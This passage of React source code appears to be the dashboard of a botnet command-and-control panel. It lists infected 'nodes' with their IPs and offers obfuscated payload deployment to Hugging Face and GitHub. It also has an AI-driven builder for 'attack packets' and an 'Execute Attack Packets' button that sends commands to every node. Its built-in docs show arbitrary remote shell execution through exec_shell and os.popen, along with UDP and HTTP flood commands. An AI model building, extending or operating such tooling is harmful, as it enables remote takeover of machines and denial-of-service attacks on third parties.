| {selected.size > 0 && ( | |
| <button | |
| onClick={removeSelected} | |
| className="bg-red-500/10 hover:bg-red-500/20 text-red-400 border border-red-500/20 px-3 py-1.5 rounded-lg text-xs font-bold uppercase tracking-wider transition-all" | |
| > | |
| Terminate ({selected.size}) | |
| </button> | |
| )} | |
| </div> | |
| {filteredNodes.length === 0 ? ( | |
| <div className="text-center py-10 text-slate-400"> | |
| <Server className="w-10 h-10 mx-auto mb-3 opacity-20" /> | |
| <p>No nodes found for this filter.</p> | |
| <p className="text-sm mt-1">Deploy a payload to see nodes appear here.</p> | |
| </div> | |
| ) : ( | |
| <div className="overflow-x-auto"> | |
| <table className="w-full text-left text-sm whitespace-nowrap"> | |
| <thead className="text-slate-500 border-b border-white/5"> | |
| <tr className="h-10"> | |
| <th className="font-medium px-4 w-10"> | |
| <input | |
| type="checkbox" | |
| className="rounded border-none accent-indigo-500 bg-white/10 cursor-pointer" | |
| checked={filteredNodes.length > 0 && selected.size === filteredNodes.length} | |
| onChange={() => toggleAll(filteredNodes)} | |
| /> | |
| </th> | |
| <th className="font-medium px-2">Node ID</th> | |
| <th className="font-medium">Environment</th> | |
| <th className="font-medium">IP Addr</th> | |
| <th className="font-medium">OS Info</th> | |
| <th className="font-medium">Uptime</th> | |
| <th className="font-medium">Last Ping</th> | |
| <th className="font-medium">Status</th> | |
| <th className="font-medium text-right pr-2">Action</th> | |
| </tr> | |
| </thead> | |
| <tbody className="divide-y divide-white/5 text-slate-300"> | |
| {filteredNodes.map((node: any) => { | |
| const isActive = Date.now() - node.lastSeen < 20000; | |
| const uptimeS = Math.floor((Date.now() - (node.firstSeen || Date.now())) / 1000); | |
| const uptimeStr = uptimeS > 3600 ? `${(uptimeS / 3600).toFixed(1)}h` : uptimeS > 60 ? `${Math.floor(uptimeS / 60)}m` : `${uptimeS}s`; | |
| return ( | |
| <tr key={node.id} className="hover:bg-white/5 transition-colors group h-12 cursor-pointer" onClick={() => toggleSelect(node.id)}> | |
| <td className="px-4" onClick={(e) => e.stopPropagation()}> | |
| <input | |
| type="checkbox" | |
| className="rounded border-none bg-white/10 cursor-pointer accent-indigo-500" | |
| checked={selected.has(node.id)} | |
| onChange={() => toggleSelect(node.id)} | |
| /> | |
| </td> | |
| <td className="py-3 font-mono text-indigo-300 px-2">{node.id}</td> | |
| <td className="py-3"> | |
| <span className="px-2.5 py-1 flex items-center justify-center w-max rounded-full border border-slate-700 bg-white/5 text-[10px] font-bold uppercase text-slate-400"> | |
| {node.type} | |
| </span> | |
| </td> | |
| <td className="py-3 text-slate-400 font-mono text-xs">{node.ip}</td> | |
| <td className="py-3 text-slate-400 text-xs max-w-[120px] truncate" title={node.systemInfo?.os || ''}> | |
| {node.systemInfo?.os || node.systemInfo?.release || '-'} | |
| </td> | |
| <td className="py-3 text-slate-400 text-xs"> | |
| {node.systemInfo?.uptime || uptimeStr} | |
| </td> | |
| <td className="py-3 text-slate-400"> | |
| {Math.round((Date.now() - node.lastSeen) / 1000)}s ago | |
| </td> | |
| <td className="py-3"> | |
| <div className={`flex items-center gap-1.5 ${isActive ? 'text-emerald-400' : 'text-slate-400'}`}> | |
| <div className={`w-1.5 h-1.5 rounded-full shadow-md ${isActive ? 'bg-emerald-500 shadow-emerald-500/50' : 'bg-slate-500'}`}></div> {isActive ? 'Online' : 'Offline'} | |
| </div> | |
| </td> | |
| <td className="py-3 text-right pr-2"> | |
| <button onClick={() => removeNode(node.id)} className="text-xs text-red-400 border border-red-500/30 px-2 py-1 rounded bg-red-400/10 hover:bg-red-400/20 transition-colors"> | |
| Remove | |
| </button> | |
| </td> | |
| </tr> | |
| ); | |
| })} | |
| </tbody> | |
| </table> | |
| </div> | |
| )} | |
| </Card> | |
| </div> | |
| ); | |
| } | |
| function PayloadsTab() { | |
| const [payloadFiles, setPayloadFiles] = useState<Record<string, string>>({}); | |
| const [activePayload, setActivePayload] = useState('hf_docker'); | |
| const [obfuscate, setObfuscate] = useState(false); | |
| const [payloads, setPayloads] = useState<any[]>([]); | |
| useEffect(() => { | |
| fetch('/api/payloads').then(r => r.json()).then(d => setPayloads(d.payloads || [])); | |
| }, []); | |
| useEffect(() => { | |
| fetch(`/api/payloads/${activePayload}?obfuscate=${obfuscate}`) | |
| .then(r => r.json()) | |
| .then(d => setPayloadFiles(d.files || {})); | |
| }, [activePayload, obfuscate]); | |
| return ( | |
| <div className="flex flex-col gap-6"> | |
| <div className="mb-2"> | |
| <h2 className="text-2xl font-bold text-white tracking-tight">Deploy Payloads</h2> | |
| <p className="text-slate-400 mt-1 text-sm">Download or copy setup scripts to instantly connect external infrastructure to this dashboard.</p> | |
| <div className="mt-4 flex items-center gap-2"> | |
| <input | |
| type="checkbox" | |
| id="obfuscate" | |
| checked={obfuscate} | |
| onChange={(e) => setObfuscate(e.target.checked)} | |
| className="rounded border-none accent-indigo-500 bg-black/20 cursor-pointer" | |
| /> | |
| <label htmlFor="obfuscate" className="text-sm font-medium text-slate-300 cursor-pointer">Obfuscate primary payload source code</label> | |
| </div> | |
| </div> | |
| <div className="grid grid-cols-1 lg:grid-cols-4 gap-6"> | |
| <div className="lg:col-span-1 flex flex-col gap-3"> | |
| {payloads.map(t => ( | |
| <button | |
| key={t.id} | |
| onClick={() => setActivePayload(t.id)} | |
| className={cn( | |
| "w-full text-left p-4 rounded-3xl transition-all border", | |
| activePayload === t.id | |
| ? "glass border-indigo-500/50 text-white shadow-lg shadow-indigo-500/20" | |
| : "glass border-transparent text-slate-400 hover:bg-white/5 hover:border-white/10" | |
| )} | |
| > | |
| <div className="font-semibold text-sm">{t.name}</div> | |
| <div className="text-xs mt-1 opacity-70 leading-relaxed">{t.desc}</div> | |
| </button> | |
| ))} | |
| </div> | |
| <div className="lg:col-span-3"> | |
| <Card title={`Generated Files for ${payloads.find(t => t.id === activePayload)?.name}`}> | |
| <div className="flex flex-col gap-4"> | |
| {Object.entries(payloadFiles).map(([filename, content]) => ( | |
| <div key={filename} className="glass rounded-2xl overflow-hidden mb-2"> | |
| <div className="bg-white/5 px-4 py-3 border-b border-white/5 flex justify-between items-center"> | |
| <span className="font-mono text-sm text-slate-300">{filename}</span> | |
| <button | |
| className="text-xs bg-white/10 hover:bg-white/20 px-4 py-1.5 rounded-lg text-white transition-colors" | |
| onClick={() => navigator.clipboard.writeText(content as string)} | |
| > | |
| Copy | |
| </button> | |
| </div> | |
| <pre className="p-4 bg-black/20 overflow-x-auto text-xs font-mono text-slate-400 max-h-64 scrollbar-thin scrollbar-thumb-white/10"> | |
| {content as string} | |
| </pre> | |
| </div> | |
| ))} | |
| {Object.keys(payloadFiles).length === 0 && ( | |
| <div className="text-center text-slate-400 py-10">Loading payloads...</div> | |
| )} | |
| </div> | |
| </Card> | |
| </div> | |
| </div> | |
| </div> | |
| ); | |
| } | |
| function BuilderTab() { | |
| const [prompt, setPrompt] = useState(''); | |
| const [mode, setMode] = useState<'payload' | 'packets' | 'manual' | 'dragdrop'>('dragdrop'); | |
| const [loading, setLoading] = useState(false); | |
| const [result, setResult] = useState(''); | |
| const [errorMsg, setErrorMsg] = useState(''); | |
| const [payloadsList, setPayloadsList] = useState<any[]>([]); | |
| // Drag and Drop State | |
| const [blocks, setBlocks] = useState<{id: string; type: string; params: any}[]>([]); | |
| const sensors = useSensors( | |
| useSensor(PointerSensor, { activationConstraint: { distance: 5 } }), | |
| useSensor(KeyboardSensor, { coordinateGetter: sortableKeyboardCoordinates }) | |
| ); | |
| const handleDragEnd = (event: any) => { | |
| const { active, over } = event; | |
| if (active.id !== over.id) { | |
| setBlocks((items) => { | |
| const oldIndex = items.findIndex((i) => i.id === active.id); | |
| const newIndex = items.findIndex((i) => i.id === over.id); | |
| return arrayMove(items, oldIndex, newIndex); | |
| }); | |
| } | |
| }; | |
| const addBlock = (type: string) => { | |
| const config = BLOCK_CONFIGS[type]; | |
| if (!config) return; | |
| const initialParams: any = {}; | |
| for (const f of config.fields) initialParams[f.key] = f.default; | |
| setBlocks([...blocks, { id: crypto.randomUUID(), type, params: initialParams }]); | |
| }; | |
| const updateBlockParams = (id: string, key: string, value: string) => { | |
| setBlocks(blocks.map(b => b.id === id ? { ...b, params: { ...b.params, [key]: value } } : b)); | |
| }; | |
| const removeBlock = (id: string) => { | |
| setBlocks(blocks.filter(b => b.id !== id)); | |
| }; | |
| const compileBlocks = () => { | |
| setResult(blocks.map(b => { | |
| const config = BLOCK_CONFIGS[b.type]; | |
| return config ? config.generator(b.params) : ''; | |
| }).join('\\n\\n')); | |
| }; | |
| useEffect(() => { | |
| fetch('/api/payloads').then(r => r.json()).then(d => setPayloadsList(d.payloads || [])); | |
| }, []); | |
| const generate = async () => { | |
| setLoading(true); | |
| setErrorMsg(''); | |
| try { | |
| let endpoint = '/api/ai/generate-payload'; | |
| let body: any = { prompt }; | |
| if (mode === 'packets') endpoint = '/api/ai/generate-packets'; | |
| const res = await fetch(endpoint, { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify(body) | |
| }); | |
| const data = await res.json(); | |
| if (data.error) setErrorMsg(data.error); | |
| else setResult(mode === 'packets' ? JSON.stringify(data.packets, null, 2) : data.code); | |
| } catch (e: any) { | |
| setErrorMsg(e.message); | |
| } | |
| setLoading(false); | |
| }; | |
| const analyzeReports = async () => { | |
| setLoading(true); | |
| setErrorMsg(''); | |
| try { | |
| const res = await fetch('/api/ai/analyze-reports', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify({}) | |
| }); | |
| const data = await res.json(); | |
| if (data.error) setErrorMsg(data.error); | |
| else { | |
| setResult(JSON.stringify(data.packets, null, 2)); | |
| setMode('packets'); | |
| } | |
| } catch (e: any) { | |
| setErrorMsg(e.message); | |
| } | |
| setLoading(false); | |
| }; | |
| const fetchTemplate = async (id: string) => { | |
| try { | |
| const res = await fetch(`/api/payloads/${id}`); | |
| const data = await res.json(); | |
| if (data.files) { | |
| // Find the main file | |
| const mainContent = data.files['client.py'] || data.files['client.js'] || data.files['monitor.sh'] || data.files['client.c'] || Object.values(data.files)[0]; | |
| if (typeof mainContent === 'string') { | |
| setResult(mainContent as string); | |
| } | |
| } | |
| } catch (e) { | |
| console.error(e); | |
| } | |
| }; | |
| const saveCustomPayload = async () => { | |
| const name = window.prompt("Enter a name for this custom payload:"); | |
| if (!name) return; | |
| try { | |
| const codeToSave = mode === 'dragdrop' ? blocks.map(b => b.content).join('\\n\\n') : result; | |
| if (!codeToSave.trim()) return alert("No code to save."); | |
| await fetch('/api/ai/save-payload', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify({ name, code: codeToSave }) | |
| }); | |
| alert('Payload saved! You can find it in the Deploy Payloads tab.'); | |
| } catch (e: any) { | |
| alert("Error saving: " + e.message); | |
| } | |
| }; | |
| const executePackets = async () => { | |
| try { | |
| const packets = JSON.parse(result); | |
| if (!Array.isArray(packets)) throw new Error("Packets must be a JSON array."); | |
| for (const pkt of packets) { | |
| await fetch('/api/commands', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify({ target: 'all', type: pkt.type || 'custom_json', payload: pkt.payload || pkt, repeat: false }) | |
| }); | |
| await new Promise(resolve => setTimeout(resolve, 50)); // Ensure backpressure handling isn't triggered | |
| } | |
| alert(`Dispatched ${packets.length} packets to all nodes.`); | |
| } catch (e: any) { | |
| alert("Error executing packets: " + e.message); | |
| } | |
| }; | |
| return ( | |
| <div className="flex flex-col gap-6 max-w-4xl mx-auto w-full"> | |
| <div className="mb-2"> | |
| <h2 className="text-2xl font-bold text-white tracking-tight">Builder</h2> | |
| <p className="text-slate-400 mt-2 text-sm leading-relaxed"> | |
| Design custom payloads manually or use AI to craft advanced implementations and attack packets. | |
| </p> | |
| </div> | |
| <div className="grid grid-cols-1 lg:grid-cols-2 gap-6"> | |
| <Card title="AI Input / Configuration" icon={<Cpu size={18} />}> | |
| <div className="flex flex-col gap-4"> | |
| <div className="flex bg-black/20 rounded-lg p-1 mt-2"> | |
| <button | |
| onClick={() => setMode('payload')} | |
| className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'payload' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")} | |
| > | |
| Gen Payload | |
| </button> | |
| <button | |
| onClick={() => setMode('packets')} | |
| className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'packets' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")} | |
| > | |
| Gen Packets | |
| </button> | |
| <button | |
| onClick={() => setMode('dragdrop')} | |
| className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'dragdrop' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")} | |
| > | |
| Visual Block Builder | |
| </button> | |
| <button | |
| onClick={() => setMode('manual')} | |
| className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'manual' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")} | |
| > | |
| Raw Editor | |
| </button> | |
| </div> | |
| {(mode === 'manual' || mode === 'dragdrop') ? ( | |
| <div className="flex flex-col gap-4"> | |
| <div className="bg-black/20 border border-white/10 rounded-xl p-3"> | |
| <h3 className="text-sm font-medium text-slate-300 mb-2 px-1">Load End-to-End Template</h3> | |
| <div className="flex flex-wrap gap-2"> | |
| {payloadsList.map(p => ( | |
| <button key={p.id} onClick={() => fetchTemplate(p.id)} className="px-3 py-1 bg-white/5 hover:bg-white/10 rounded-md text-xs text-white"> | |
| {p.name} | |
| </button> | |
| ))} | |
| </div> | |
| </div> | |
| <div className="bg-black/20 border border-white/10 rounded-xl p-3"> | |
| <h3 className="text-sm font-medium text-slate-300 mb-2 px-1">Code Block Library</h3> | |
| {mode === 'dragdrop' ? ( | |
| <div className="flex flex-col gap-2"> | |
| <p className="text-xs text-slate-400 mb-2">Click blocks to add them to your chain.</p> | |
| <div className="grid grid-cols-2 gap-2"> | |
| {Object.entries(BLOCK_CONFIGS).map(([type, config]) => ( | |
| <div key={type} onClick={() => addBlock(type)} className={cn("cursor-pointer border bg-black/10 hover:bg-black/20 rounded-lg p-2 flex flex-col items-start transition-all", config.color.replace('bg-', 'border-').replace('-600', '-500/30'))}> | |
| <div className={cn("text-xs font-bold", config.color.replace('bg-', 'text-').replace('-600', '-300'))}>{config.title}</div> | |
| <div className="text-[10px] text-slate-400 mt-1">Add to execution chain.</div> | |
| </div> | |
| ))} | |
| </div> | |
| </div> | |
| ) : ( | |
| <div className="flex flex-wrap gap-2"> | |
| <button onClick={() => setResult(prev => prev + '\ndef exec_fetch_http_test(ip, port):\n pass # Replace with HTTP logic')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">HTTP Test</button> | |
| <button onClick={() => setResult(prev => prev + '\ndef exec_socket_tcp_probe(ip, port):\n pass # Replace with TCP logic')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">TCP Probe</button> | |
| <button onClick={() => setResult(prev => prev + '\ndef exec_http_flood(url, duration, threads_count):\n pass # Impl flood')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">HTTP Flood</button> | |
| <button onClick={() => setResult(prev => prev + '\ndef exec_udp_flood(ip, port, duration, packet_size):\n pass # Impl flood')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">UDP Flood</button> | |
| </div> | |
| )} | |
| </div> | |
| </div> | |
| ) : ( | |
| <> | |
| <textarea | |
| value={prompt} | |
| onChange={(e) => setPrompt(e.target.value)} | |
| placeholder={mode === 'payload' ? "Create a reverse proxy implementation..." : "A chain of HTTP requests against specific endpoints..."} | |
| rows={6} | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-3 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm" | |
| /> | |
| <button | |
| onClick={generate} | |
| disabled={loading || !prompt.trim()} | |
| className={cn( | |
| "px-5 py-2.5 text-white rounded-xl font-medium shadow-lg transition-all", | |
| (loading || !prompt.trim()) ? "bg-indigo-500/50 cursor-not-allowed" : "bg-indigo-500 hover:bg-indigo-400 shadow-indigo-500/30" | |
| )} | |
| > | |
| {loading ? 'Processing...' : 'Generate AI Routine'} | |
| </button> | |
| {mode === 'packets' && ( | |
| <button | |
| onClick={analyzeReports} | |
| disabled={loading} | |
| className={cn( | |
| "px-5 py-2.5 text-white rounded-xl font-medium shadow-lg transition-all", | |
| loading ? "bg-emerald-600/50 cursor-not-allowed" : "bg-emerald-600 hover:bg-emerald-500 shadow-emerald-500/30" | |
| )} | |
| > | |
| Analyze Reports for Bypass Pipeline | |
| </button> | |
| )} | |
| </> | |
| )} | |
| {errorMsg && <div className="text-red-400 text-sm mt-1 p-2 bg-red-500/10 rounded">{errorMsg}</div>} | |
| </div> | |
| </Card> | |
| <Card title={mode === 'dragdrop' ? "Active Source Chain" : "Artifact / Editor"} icon={<FileText size={18} />}> | |
| {mode === 'dragdrop' ? ( | |
| <div className="flex flex-col h-full gap-3"> | |
| <div className="flex justify-end gap-2 px-1"> | |
| <button onClick={() => { compileBlocks(); setMode('manual'); }} className="text-xs bg-slate-600 hover:bg-slate-500 px-3 py-1 rounded text-white transition-all font-bold">Edit Raw Code</button> | |
| <button onClick={saveCustomPayload} className="text-xs bg-indigo-500 hover:bg-indigo-400 px-3 py-1 rounded text-white transition-all font-bold">Save Chain as Payload</button> | |
| </div> | |
| <div className="flex-1 min-h-[200px] bg-black/20 border border-white/10 rounded-xl p-4 overflow-y-auto w-full"> | |
| {blocks.length === 0 ? ( | |
| <div className="flex flex-col items-center justify-center h-full text-slate-400/50"> | |
| <p className="text-sm font-medium">Click blocks on the left to build your chain.</p> | |
| </div> | |
| ) : ( | |
| <DndContext sensors={sensors} collisionDetection={closestCenter} onDragEnd={handleDragEnd}> | |
| <SortableContext items={blocks} strategy={verticalListSortingStrategy}> | |
| {blocks.map((block) => ( | |
| <SortableBlock key={block.id} {...block} onUpdate={updateBlockParams} onRemove={removeBlock} /> | |
| ))} | |
| </SortableContext> | |
| </DndContext> | |
| )} | |
| </div> | |
| <p className="text-xs text-slate-400 px-1 opacity-60">Block chaining runs the raw python vertically. Top to bottom.</p> | |
| </div> | |
| ) : result ? ( | |
| <div className="flex flex-col h-full gap-3"> | |
| <div className="flex justify-end gap-2 px-1"> | |
| {(mode === 'payload' || mode === 'manual') ? ( | |
| <button onClick={saveCustomPayload} className="text-xs bg-indigo-500 hover:bg-indigo-400 px-3 py-1 rounded text-white transition-all font-bold">Save as Payload</button> | |
| ) : null} | |
| {mode === 'packets' && ( | |
| <button onClick={executePackets} className="text-xs bg-red-500 hover:bg-red-400 px-3 py-1 rounded text-white transition-all font-bold tracking-wide uppercase">Execute Attack Packets</button> | |
| )} | |
| <button onClick={() => navigator.clipboard.writeText(result)} className="text-xs bg-white/10 hover:bg-white/20 px-3 py-1 rounded text-white transition-all">Copy Result</button> | |
| </div> | |
| <textarea | |
| value={result} | |
| onChange={e => setResult(e.target.value)} | |
| className="w-full flex-1 min-h-[200px] bg-black/20 border border-white/10 rounded-xl p-4 text-emerald-300 focus:outline-none focus:border-emerald-500 transition-all font-mono text-xs" | |
| /> | |
| <p className="text-xs text-slate-400 px-1">You can freely edit this artifact. When ready, paste it into the Payload section or JSON execution box.</p> | |
| </div> | |
| ) : ( | |
| <div className="flex flex-col items-center justify-center p-10 h-[250px] text-slate-400/50"> | |
| <Terminal size={32} className="mb-4 opacity-50" /> | |
| <p className="text-sm font-medium">{mode === 'manual' ? 'Select a template or start typing' : 'Awaiting Generation...'}</p> | |
| </div> | |
| )} | |
| </Card> | |
| </div> | |
| </div> | |
| ); | |
| } | |
| function DocsTab() { | |
| return ( | |
| <div className="flex flex-col gap-6 max-w-4xl mx-auto w-full"> | |
| <div className="mb-2"> | |
| <h2 className="text-2xl font-bold text-white tracking-tight">Documentation</h2> | |
| <p className="text-slate-400 mt-2 text-sm leading-relaxed"> | |
| Learn how to craft custom JSON payloads or integrate existing commands. The system translates these commands to instructions executed natively on connected nodes. | |
| </p> | |
| </div> | |
| <Card title="Implementing Existing Commands into Custom Payloads" icon={<FileText size={18} />}> | |
| <div className="text-sm text-slate-300"> | |
| <p className="mb-4"> | |
| If you are building a custom payload (using the <strong>Builder</strong> tab tool manually or using AI), you can intercept standard commands dispatched by the control panel. | |
| The command payload is a JSON object. You just need to parse it and run your logic. | |
| </p> | |
| <pre className="bg-black/30 border border-white/10 rounded-xl p-4 font-mono text-xs overflow-x-auto text-indigo-300 mb-4"> | |
| {`# Python Example | |
| cmd_type = cmd.get('type') | |
| payload = cmd.get('payload', {}) | |
| if cmd_type == 'fetch_http_test': | |
| # Implement HTTP fetch using payload.get('ip') and payload.get('port') | |
| result = exec_fetch_http_test(payload.get('ip'), payload.get('port')) | |
| elif cmd_type == 'exec_shell': | |
| # Implement shell execution | |
| result = os.popen(payload.get('cmd')).read() | |
| `} | |
| </pre> | |
| <p> | |
| You can find the standard command types in the UI (e.g., <code>fetch_http_test</code>, <code>socket_tcp_probe</code>, <code>dns_resolve</code>, <code>exec_shell</code>). | |
| Simply map each <code>cmd.type</code> to a function in your custom payload script. | |
| </p> | |
| </div> | |
| </Card> | |
| <Card title="Making New Custom Commands" icon={<Cpu size={18} />}> | |
| <div className="text-sm text-slate-300"> | |
| <p className="mb-4"> | |
| You can create entirely new, custom commands. For example, if you want a custom Flood Attack or sequence generation. | |
| Under <strong>System Commands > Custom JSON Command</strong>, dispatch your arbitrary JSON: | |
| </p> | |
| <pre className="bg-black/30 border border-white/10 rounded-xl p-4 font-mono text-xs overflow-x-auto text-emerald-300 mb-4"> | |
| {`{ | |
| "type": "custom_flood", | |
| "payload": { | |
| "target": "example.com", | |
| "packets": 1000, | |
| "threads": 10 | |
| } | |
| }`} | |
| </pre> | |
| <p className="mb-4 text-emerald-400 font-medium">Handling Custom Sequences</p> | |
| <p className="mb-4"> | |
| In your Custom Payload, catch <code>cmd_type == 'custom_flood'</code> or <code>'custom_json'</code> and structure your specific attack pipeline logic. | |
| The AI Builder parses the <strong>current commands</strong> from the server source during generation, so if you ask it to <em>"Send X packets to Y target"</em>, it will intelligently build both the Python implementation and the JSON array required to trigger it. | |
| </p> | |
| </div> | |
| </Card> | |
| <Card title="Attack Pipeline Generation (Packets)" icon={<Globe size={18} />}> | |
| <div className="text-sm text-slate-300"> | |
| <p className="mb-4"> | |
| Under the <strong>Builder</strong> tab, selecting <code>Gen Packets</code> generates an array of actions. You can use standard actions, or define custom ones for AI to fill out parameters like headers, intervals, and routing behavior: | |
| </p> | |
| <pre className="bg-black/30 border border-white/10 rounded-xl p-4 font-mono text-xs overflow-x-auto text-amber-300 mb-4"> | |
| {`[ | |
| { "type": "fetch_http_test", "payload": { "ip": "1.1.1.1", "port": 80 } }, | |
| { "type": "custom_stealth_ping", "payload": { "target": "10.0.0.5", "delay_ms": 500 } } | |
| ]`} | |
| </pre> | |
| <p className="mb-2">Once generated, you can click <strong className="text-red-400">Execute Attack Packets</strong> directly from the UI, distributing them evenly to all connected node agents.</p> | |
| </div> | |
| </Card> | |
| <Card title="Available Command Types" icon={<Terminal size={18} />}> | |
| <div className="text-sm text-slate-300"> | |
| <ul className="space-y-4"> | |
| <li className="p-3 bg-white/5 rounded-lg border border-white/5"> | |
| <strong className="text-white block mb-1">exec_shell</strong> | |
| <p className="mb-2">Execute an arbitrary terminal command.</p> | |
| <code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"exec_shell\", \"payload\": { \"cmd\": \"whoami\" } }"}</code> | |
| </li> | |
| <li className="p-3 bg-white/5 rounded-lg border border-white/5"> | |
| <strong className="text-white block mb-1">network_flood</strong> | |
| <p className="mb-2">Execute an arbitrary stream of UDP or HTTP requests.</p> | |
| <code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"udp_flood\", \"payload\": { \"ip\": \"example.com\", \"port\": 80, \"duration\": 5, \"packet_size\": 1024 } }"}</code> | |
| </li> | |
| <li className="p-3 bg-white/5 rounded-lg border border-white/5"> | |
| <strong className="text-white block mb-1">fetch_http_test</strong> | |
| <p className="mb-2">Perform an HTTP GET request to a target layer 7 URL.</p> | |
| <code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"fetch_http_test\", \"payload\": { \"ip\": \"example.com\", \"port\": 80 } }"}</code> | |
| </li> | |
| </ul> | |
| </div> | |
| </Card> | |
| </div> | |
| ); | |
| } | |
| function SettingsTab() { | |
| const [hfToken, setHfToken] = useState(''); | |
| const [ghToken, setGhToken] = useState(''); | |
| const [geminiToken, setGeminiToken] = useState(''); | |
| const [geminiModel, setGeminiModel] = useState<'2.5' | '3.0'>('2.5'); | |
| const [status, setStatus] = useState(''); | |
| useEffect(() => { | |
| fetch('/api/tokens/status').then(res => res.json()).then(data => { | |
| if (data.gemini_model) setGeminiModel(data.gemini_model); | |
| }).catch(()=>{}); | |
| }, []); | |
| const handleSave = async () => { | |
| try { | |
| const res = await fetch('/api/tokens', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify({ hf_token: hfToken, github_token: ghToken, gemini_token: geminiToken, gemini_model: geminiModel }) | |
| }); | |
| const data = await res.json(); | |
| setStatus(data.message || 'Saved securely to in-memory state.'); | |
| setTimeout(() => setStatus(''), 3000); | |
| } catch (e) { | |
| setStatus('Error saving tokens.'); | |
| } | |
| }; | |
| return ( | |
| <div className="max-w-2xl mx-auto flex flex-col gap-6"> | |
| <div className="mb-2"> | |
| <h2 className="text-2xl font-bold text-white tracking-tight">Integrations & Auth</h2> | |
| <p className="text-slate-400 mt-2 text-sm leading-relaxed"> | |
| Tokens are stored <strong>strictly in the server's runtime memory</strong>. | |
| They are never written to payloads or disk. Used exclusively to automate payload deployment to your Hugging Face or GitHub accounts via their official APIs. | |
| </p> | |
| </div> | |
| <Card title="API Tokens" icon={<ShieldCheck size={18} />}> | |
| <div className="flex flex-col gap-4"> | |
| <div> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Gemini AI Model Generation Version</label> | |
| <div className="flex bg-black/20 border border-white/10 rounded-xl p-1 w-full gap-1"> | |
| <button | |
| onClick={() => setGeminiModel('2.5')} | |
| className={cn("flex-1 py-2 text-sm rounded-lg transition-all font-medium", geminiModel === '2.5' ? "bg-indigo-500 text-white shadow-md shadow-indigo-500/20" : "text-slate-400 hover:text-slate-200")} | |
| > | |
| Gemini 2.5 Pro | |
| </button> | |
| <button | |
| onClick={() => setGeminiModel('3.0')} | |
| className={cn("flex-1 py-2 text-sm rounded-lg transition-all font-medium", geminiModel === '3.0' ? "bg-indigo-500 text-white shadow-md shadow-indigo-500/20" : "text-slate-400 hover:text-slate-200")} | |
| > | |
| Gemini 3.0 Pro | |
| </button> | |
| </div> | |
| </div> | |
| <div> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Hugging Face Token</label> | |
| <input | |
| type="password" | |
| value={hfToken} | |
| onChange={e => setHfToken(e.target.value)} | |
| placeholder="hf_..." | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner" | |
| /> | |
| </div> | |
| <div> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">GitHub PAT</label> | |
| <input | |
| type="password" | |
| value={ghToken} | |
| onChange={e => setGhToken(e.target.value)} | |
| placeholder="ghp_..." | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner" | |
| /> | |
| </div> | |
| <div> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Gemini API Key (Optional Override)</label> | |
| <input | |
| type="password" | |
| value={geminiToken} | |
| onChange={e => setGeminiToken(e.target.value)} | |
| placeholder="AI Studio API Key..." | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner" | |
| /> | |
| </div> | |
| <div className="pt-4 flex items-center justify-between"> | |
| <button | |
| onClick={handleSave} | |
| className="px-5 py-2.5 bg-indigo-500 hover:bg-indigo-400 text-white rounded-xl font-medium shadow-lg shadow-indigo-500/30 transition-all" | |
| > | |
| Securely Save to Memory | |
| </button> | |
| {status && <span className="text-sm text-emerald-400 font-medium bg-emerald-500/10 px-3 py-1 rounded-full border border-emerald-500/20">{status}</span>} | |
| </div> | |
| </div> | |
| </Card> | |
| </div> | |
| ); | |
| } | |
| function DeployTab() { | |
| const [provider, setProvider] = useState('hf'); | |
| const [hfSdk, setHfSdk] = useState('docker'); | |
| const [name, setName] = useState(''); | |
| const [status, setStatus] = useState(''); | |
| const [loading, setLoading] = useState(false); | |
| const handleDeploy = async () => { | |
| setLoading(true); | |
| setStatus('Deploying...'); | |
| try { | |
| const endpoint = provider === 'hf' ? '/api/deploy/hf' : '/api/deploy/github'; | |
| const payload = provider === 'hf' ? { name, sdk: hfSdk } : { name }; | |
| const res = await fetch(endpoint, { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify(payload) | |
| }); | |
| const data = await res.json(); | |
| if (data.error) throw new Error(data.error); | |
